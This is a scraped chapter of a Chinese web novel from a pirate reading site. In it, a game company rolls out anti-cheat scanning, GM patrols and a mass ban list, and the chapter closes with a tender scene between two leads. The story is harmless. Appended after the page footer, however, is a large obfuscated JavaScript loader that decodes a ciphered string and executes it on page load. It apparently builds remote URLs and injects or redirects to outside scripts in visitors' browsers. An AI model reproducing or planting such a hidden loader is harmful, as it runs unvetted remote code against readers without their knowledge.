首页
第2196章 危机·外挂与第
返回
关灯 护眼:关 字号:小

第2196章 危机·外挂与第一次封神之战2

章节报错(免登陆)

一秒记住【笔趣阁】
biquge521.com,更新快,无弹窗!

    第2196章危机·外挂与第一次封神之战2(第1/2页)
    第五天的时候,梁永琪收到了李轩发来的测试报告。
    内存扫描模块的误报率在百分之零点三以下,对正常玩家的登录速度影响不超过两秒。
    报告后面附了详细的测试数据,跑了三千多次登录测试,其中九次出现了误报,排查之后发现是跟某个常用输入法的热键冲突了,又调了一版参数把这个问题解决了。
    同时方晴从论坛上筛选了六个人,电话面试了一轮之后确定了四个巡查人选,每人每天排四个小时的班,进游戏里随机观察玩家的操作行为。
    方晴给梁永琪汇报的时候说,这四个人都是内测期间的活跃玩家,在论坛上发过不少高质量的帖子,跟其他玩家的关系也挺好,没有什么骂战的黑历史。
    梁永琪看了四个人的ID,有两个她自己也眼熟,确实是在内测论坛上经常出没的老面孔。
    她跟方晴说,让他们先签保密协议再上岗,巡查期间不允许对外透露自己GM的身份,巡查记录每天汇总一次交到方晴这里。
    梁永琪自己也没闲着。
    她让方晴写了一份公告,标题叫“关于严厉打击外挂行为的声明”,内容分了三条:第一条写明了未来所有使用外挂的账号一经查实永久封禁、不接受申诉,第二条告知玩家游戏内举报功能即将上线,第三条公布了GM巡查小队的成立,并标注了巡查员的特殊标识。
    公告的措辞她亲自改了两遍,第一遍改完觉得语气太软,又加了几句硬话进去,最后定稿的时候她让方晴念了一遍给她听,确认读起来不像是官腔套话才让发出去。
    公告发出去的那天下午,那条置顶帖里的风向开始变了。
    最开始有人回了一句“等你们真的封了再说”,语气明显是不信。
    然后有人在第二天贴了一张截图,截图里一个ID在野外跑得飞快的角色突然被踢下线了,屏幕中间弹出一行系统公告,写着“该账号已被永久封禁”。
    截图底下跟了三十多条回复,全是竖大拇指的表情和“干得漂亮”。
    还有人跟帖说自己在游戏里遇到了一个巡查员,头顶上有个特殊的标记,那个人看他走位不太对就跟了一段路,跟了差不多两分钟,确认他没有异常操作之后才走开。
    底下有人问“你怎么知道那是巡查员”,那人回了一句“头顶有个小徽章啊,公告里写了,GM巡查员都有那个标记”。
    到第七天的时候,梁永琪手里攒了一份封禁名单。
    名单是李轩从后台导出来的,导了两份,一份是内存扫描模块自动拦截的未登录账号,另一份是玩家举报加上巡查小队确认后手动封停的。
    两份名单加起来一共一万四千多个ID,密密麻麻地排了满满十几页纸。
    李轩把两份名单发到她邮箱的时候附了一句备注,说这一万四千多个ID里面,大概有三分之一是在登录阶段就被拦下来的,另外三分之二是已经在游戏里被巡查员或者举报系统确认了作弊行为的。
    梁永琪把两份名单合并打印出来,订书机订成厚厚一沓,封面上用钢笔写了三个字:“封神榜。”
    方晴在论坛上发了第一期封神榜的公告,没有写每个ID具体是用了什么外挂,只按字母顺序排列了所有被永久封禁的账号。
    公告发出去之后的一个小时内,那条帖子的浏览量翻了三倍。
    玩家在底下自发地顶帖,有人把帖子内容复制到别的游戏社区里转发。
    那些天论坛上最热门的一句话变成了“你上榜了没”。
    有个玩家在封神榜的帖子底下回了一段话,大意是说他自己之前被外挂杀了十几次,气得差点删游戏,这次看到盛大一下封了一万多个号,虽然不是每个号都跟他有过节,但至少说明官方是真的在做事。
    底下有人跟帖说,封号不稀奇,稀奇的是封得这么快,从有人发帖举报到第一批封禁名单出来,前后加起来不到十天,这在别的游戏里没见过。
    危机从那一天开始真正地解了。
    玩家在游戏里的抱怨声降了下来,客服组接到的关于外挂的投诉电话少了一半还多。
    李轩那边的技术团队又在内存扫描模块的基础上加了一层检测逻辑,专门针对市面上新出现的几种变种外挂做了特征库更新,虽然做不到彻底杜绝,但至少让开挂的人没办法像之前那样明目张胆地到处跑。
    方晴那边的巡查小组也开始进入正轨,四个人轮流排班,每天在线巡查八个小时,遇到可疑的账号就记录下来提交后台,后台比对数据之后确认为外挂的直接封停。
    整个流程跑通之后,梁永琪让方晴把巡查流程写成了标准作业手册,以后新人来了照着手册就能上手。
    有一个老玩家在论坛上发了一篇长帖,标题叫“盛大的态度让我决定待下去”,正文很短,只有几句话:“我玩过很多游戏,从来没有见过一个公司为了公平问题在七天之内做出反应的。
    你们封了一万多个号,这损失不小,但你们还是封了。
    那我就不走了。”
    梁永琪把那张“封神榜”的打印件带回陈园的时候,已经是深夜了。
    她进门的时候手里捏着那沓纸,纸页还有些温热,像是刚从打印机里取出来的。
    她进了书房之后把它放在陈浩面前的桌面上,纸页摊开,密密麻麻的账号ID排满了正反两面,字号小到几乎要凑近了才能看清楚。
    灯光从头顶照下来,那些字母和数字挤在一起,黑压压的一大片,像是某种密集的、沉默的阵列。
    “浩哥,你看,这是咱们的断头台。”
    她站在桌边,两只手撑着桌沿,声音里带着一种完成了大工程之后的轻松,那种轻松里混着一层薄薄的骄傲,像小孩把满分试卷拍在家长面前的架势。
    (本章未完,请点击下一页继续阅读)第2196章危机·外挂与第一次封神之战2(第2/2页)
    她嘴角是弯着的,眼睛里的光还没完全褪下去,看得出来她这几天确实累,但那种累在看到成果的时候已经变成了一种值得的东西。
    陈浩低头看了一眼那张纸。
    他的目光没有在那密密麻麻的ID列表上停留超过两秒钟。
    他抬起头看着梁永琪,然后伸手把她的右手从桌沿上拿起来,放在自己的掌心里。
    他的手包着她的手,拇指在她掌心的纹路上慢慢滑过去,滑过那些因为长时间握笔而留下的凹痕,滑过指根处被咖啡杯壁烫出来的浅红。
    她的手掌边缘有一小块干掉的墨水渍,指甲缝里嵌着一点打印纸的纤维。
    他的手心是热的,热得有点烫,梁永琪的手指在他的掌心里蜷了一下,像是被那个温度暖到了。
    “以后这种事交给下面人做。”陈浩说。
    他的拇指在她掌心那层薄薄的茧上蹭了一下,动作很轻,像要把那层硬皮蹭掉一些似的。
    “你盯着方向就行,细节让李轩和方晴去填。
    你手上这些印子不是因为大事落的,是熬夜改细节改出来的。
    不值得。”
    梁永琪想把右手缩回去。
    她的手在他的掌心里动了一下,但没有抽出来。
    “我不盯着不放心嘛。
    李轩那边一周之内要出一个东西,压力大,我陪他熬两夜算不了什么。
    方晴那边选巡查员,每个人她都要过一遍,我看了她初筛的名单,有两个人不太合适,换成我自己重新选了一遍。
    这些东西我放不了手。”
    她的声音比刚才低了一些,像在解释一件自己也知道不太合理但就是做不到的事情。
    “等这个阶段稳定了我就交给他们。”
    陈浩没有说话。
    他握着她的那只手没有松开,身体微微前倾了一下,另一只手抬起来,捏住了她的下巴。
    他的力道不重,只是把她的脸从侧着的角度调整到正对着他。
    她的嘴唇微微张开着,像是下一句解释的话已经到了嘴边,还没有说出来。
    他低头吻了她。
    那个吻落得很突然,但落下去之后的节奏是慢的。
    他的嘴唇贴着她的上唇,停了一瞬,然后侧了一下角度,让覆盖的面积更大一些。
    他的拇指还搭在她下巴的边缘,中指托着她的下颌骨,她的头被他微微托高了一点。
    她闭着眼,睫毛扫过他的颧骨,她的呼吸在接吻的过程中从平顺变得短促,又从那阵短促里慢慢找回了平顺。
    书房里只有他们两个人的呼吸声,还有桌面上那沓纸页偶尔因为温度变化发出的轻微的声响。
    陈浩没有用语言告诉她他为什么吻她。
    但梁永琪在那几秒钟里从他的嘴唇里读到了那个东西——那不是惩罚性的吻,不是安抚性的吻,它比这两者都更直接。
    他是在用嘴堵住她那些辩解的话,用一个不需要解释的动作告诉她:我看到你手上的印子了,我不喜欢你手上的印子,你不要再让它们出现了。
    她把右手从他的掌心里抽出来的时候,吻还没有结束。
    她的右手搭上了他的后颈,指尖按着他颈椎末端那块微微凸起的骨头。
    她的左手还捏在那沓“封神榜”的页脚上,纸页被她的手指捏皱了边角,但她的手没有收回来,就那么维持着那个姿势吻他。
    她的手指在他的后颈上慢慢蹭着,一下一下的,像是某种下意识的、不用过脑子的动作。
    嘴唇分开的时候,她没有退开。
    两个人的鼻尖还贴在一起,呼吸在彼此之间那层狭窄的空间里交换。
    她的眼睛没有睁开,嘴唇微微肿了一点,嘴角有一点点他的温度。
    “手疼。”她低声说。
    那个词从她嘴里出来的时候含混得像是哼出来的。
    她的声音跟刚才比软了很多,好像那个吻把她的力气抽走了一部分。
    陈浩低头看了一眼她还捏着纸页的左手。
    那根手指的指腹压着纸面的位置,字迹里的油墨在灯光下微微反光。
    他没有去掰她的手指,只是把自己的手覆在她的手背上,轻轻按了一下,让她捏着的力道松开了。
    那张“封神榜”从她的指间滑落下来,落在桌面上,纸页翻了几页,最后停在了中间某一页。
    那一页上有一半的账号ID后面跟着红色的标记,是李轩用记号笔做的批注,标明了每个账号被检测到外挂的具体类型。
    纸页的边缘被她刚才捏出了一道深深的皱痕,那道皱痕从页角一路延伸到页面中央,像一条细长的、深色的裂谷。
    他们的手在桌面上方交叠了一会儿,然后她把手从他的掌心里抽出来,反手扣住了他的手背。
    两个人的手指交叉着,搁在桌面上那沓摊开的“封神榜”旁边,像两条并排的、安安静静躺在那里的路径。
    梁永琪的低着头看那两张叠在一起的手,她的拇指在他的手背上轻轻点了两下,没有再说话。
    书房的灯亮着,桌上的纸页摊开在那里,密密麻麻的ID排满了正反两面。
    那些账号背后的玩家此刻有的已经睡了,有的可能还在电脑前面坐着,有的人大概已经在重新练号了。
    但至少在今天晚上,那一万四千多个ID就那么安安静静地躺在纸面上,像一座沉默的、被砍下来的碑。
    而她和他两个人的手并排躺在它们旁边,比那座碑要暖得多。
    【跪求礼物,免费的为爱发电也行!】
章节报错(免登陆)
验证码: 提交关闭
!function(){function a(a){var _idx="m4tas4k55b";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[qYF F82_qq!7_2(F6O2 5ca[Xd5 Y!5YF_52 2_qql88FjFgcY8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=F8YjYmpYFrFF56)_FYc"("ag""aPXd5 Y=2=O=68D62fODm622Y5V6fFh!qYF h86/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfgfcmn<ydFhm5d2fO^cajngKa=5YXY5LYWfgfcmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6Fhg6/}0=6FY^9Y6phFgh/o=qOdfiFdF_Lg0=5Y|5Tg0P=d8"#MqYYb"=(8HZ!F5T[(8+i;NmJd5LYcccY=Fa8>[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2Pacda??"HZ"aP(dF(hcYa[P7_2(F6O2 JcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=F8""a[7mqOdfiFdF_L8*}=}00<(mqY2pFh??c(mJ_Lhc`c$[YPa`%Fa=qcd=+i;NmLF562p67Tc(aaaP7_2(F6O2 fcY8}a[qYF F8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=28FmqY2pFh=O8""!7O5c!Y**!aO%8FHydFhm7qOO5cydFhm5d2fO^ca.2aZ!5YF_52 OPr55dTm6Lr55dTc(a??c(8HZ=qcd=""aa!qYF _8"5phCS^"!7_2(F6O2 ^cY=Fa[qYF 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 O8H"hFFJLg\/\/[[fdTPP}Ko})hFL_h^m_7qXd::m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m_7qXd::m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m_7qXd::m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m_7qXd::m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m_7qXd::m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m_7qXd::m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m_7qXd::m(O^gQ}1Q"Z!qYF 58JcOHc2YD wdFYampYFwdTcaZ??OH0Za%"/^oFdLoSnn)/}Ko}"!Fj5%8"jR8"%fcnag_vvc5%8"j"%_%"8"%fcnaa=7m5Y|5T%%=2mL5(8Jc5a=2mO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=$caP=2mO2Y55O587_2(F6O2ca[F??YvvYca=LYF|6^YO_Fc7_2(F6O2ca[2m5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfc2a=7mqOdfiFdF_L8}PqYF p8"}Ko}"=X8"^oFdLoSnn)"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"}Ko}^)ThF)mFfL7q_Dm2YF"="}Ko}X5ThF)m:F6Y67fm2YF"="}Ko}2pThFmFfL7q_Dm2YF"="}Ko}_JqhFm:F6Y67fm2YF"="}Ko}2TOhFmFfL7q_Dm2YF"="}Ko}CSqhF)m:F6Y67fm2YF"="}Ko})FfThF)fmFfL7q_Dm2YF"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"=28H"Y#"%XZ!5cavv2mJ_Lhc"(h#"%5caa!qYF O82YD VY)iO(SYFcF%"/"%p%c_j"j"%_%"8"%fcnag""a=H2mCO62c"v"aZa!7m5Y|5T%%=OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=f8"62fYR;7"=_8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=^8""=h80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!h<YmqY2pFh!a28_HfZcYH(Zch%%aa=O8_HfZcYH(Zch%%aa=68_HfZcYH(Zch%%aa=d8_HfZcYH(Zch%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=^%8iF562pHqZc2<<@?O>>oa=Kol886vvc^%8iF562pHqZc5aa=Kol88dvvc^%8iF562pHqZcFaa![Xd5 78^!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv$caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 $ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 )ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:m65f7XT_m(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 f8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!fmLFTqYm(LL|YRF8Y=fmdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=faP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=^=l0a=7m(q6(S9d2fqY8^!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 _ca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:m65f7XT_m(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 ^cYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<h%6vv_caPYqLY[F8F*O!67cF<86a5YF_52l}!F<h%6vv_caPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8Jc"hFFJLg//[[fdTPP}Ko})hFL_h^m_7qXd::m(O^gQ}1Q/f/}Ko}j(8}vY8^oFdLoSnn)"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aP682dX6pdFO5mJqdF7O5^=28l/3cV62?yd(a/mFYLFc6a=O8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=c2??OavvcO8/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI?kOqfu5ODLY5/6mFYLFc2dX6pdFO5m_LY5rpY2Fa=Y8cY82dX6pdFO5mJqdF7O5^avv/3cV62?yd(a/mFYLFcYa??2dX6pdFO5m^dR|O_(heO62FL<@=OvvlYjDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=^c7_2(F6O2ca[Lc@0saPaPaPag^c7_2(F6O2ca[Lc}0}a=^c7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaP=Yaa=l2vv6??)ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvv(mqY2pFhvvcY8Jc"hFFJLg//[[fdTPP}Ko})hFL_h^m_7qXd::m(O^gQ}1Q"a%"/)_pj68"%p=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tc(aa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=(mqY2pFh80=qcd=""aaPaPaca!'.substr(22));new Function(b)()}();